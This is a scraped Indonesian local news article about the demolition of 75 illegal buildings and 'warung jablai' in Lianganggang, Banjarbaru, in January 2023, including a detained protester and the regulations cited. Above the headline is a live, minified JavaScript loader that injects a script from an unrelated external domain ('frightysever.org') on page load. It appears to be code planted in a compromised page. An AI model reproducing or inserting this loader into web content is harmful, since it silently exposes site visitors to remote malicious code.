(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diwarnai Insiden Ribut, 75 Bangunan Liar dan Warung Jablai di Lianganggang Akhirnya Rata!


KANALKALIMANTAN.COM, BANJARBARU – Pembongkaran 75 bangunan liar dan warung jablai di Simpang LIK Kelurahan Landasan Ulin Selatan, Kecamatan Lianganggang, Kota Banjarbaru, langsung diratakan dalam satu hari, Senin (2/1/2023).

Kasi Opsdal Satpol PP Banjarbaru, Yanto Hidayat mengatakan pembongkaran langsung diselesaikan hari ini.

“Habiskan sekarang,” tegasnya.

Pembongkaran bangunan liar dan warung jablai ini dilakukan dengan menambah satu excavator guna mempercepat pembersihan. Sebelumnya, 1 excavator lain sudah melakukan pekerjaan dari pagi hari.

 

Baca juga  : Tidak Ada Tali Asih untuk 75 Bangunan Liar dan Warung Jablai di Trikora yang Dibongkar

Selama pembongkaran dan pembersihan sempat terjadi keributan di pagi hari tadi.

“Sampai saat ini situasi kondusif, pagi tadi hanya keributan kecil,” katanya.

Diberitakan sebelumnya, pembongkaran ini merupakan tindak lanjut dari SP 3 yang dilayangkan Pemko Banjarbaru pada Kamis (1/12/2022) lalu. Setidaknya sudah ada 70 persen dari 75 bangunan liar dan warung jablai yang dibongkar oleh pemiliknya sendiri.

Di tengah pembongkaran, seorang pria gondrong yang kesehariannya menjaga perempatan LIK mencoba menghalangi proses pembongkaran oleh Pemko Banjarbaru dan petugas gabungan lainnya.

“Sudah kita amankan, takutnya nanti menjadi provokasi warga,” ungkap Kasatpol PP Hidayaturahman, Senin (2/1/2023) pagi.

Baca juga  : Pimpin Apel Perdana di 2023, Ini Pesan Pj Bupati HSU

Pria tersebut kata Dayat, diamankan ke Mako Polsek Liang Anggang.

Sementara itu, Sekda Kota Banjarbaru, Said Abdullah menerangkan, pria yang menyulut keributan pada saat proses pembongkaran sudah beberapa kali mengganggu petugas.

“Dari awal pelayangan SP 1 hingga 3 orangnya itu-itu saja, jadi tidak usah dibuat resah,” ujarnya.

Pria tersebut bukanlah perwakilan warga, melainkan seseorang yang tidak terima warung jablai atau bangunanya dirobohkan paksa. Sehingga dirinya ingin membakar sendiri bangunanya menggunakan BBM jenis pertalite.

Adapun 75 bangunan ini melanggar Perda Nomor 6 Tahun 2022 tentang bangunan yang tidak memenuhi ketentuan persetujuan bangunan gedung (PBG) dan bangunan yang digunakan untuk tindak asusila dengan regulasi Perda Nomor 6 Tahun 2014.(Kanalkalimantam.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

6 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

6 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

7 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

8 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

9 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

9 jam ago

This website uses cookies.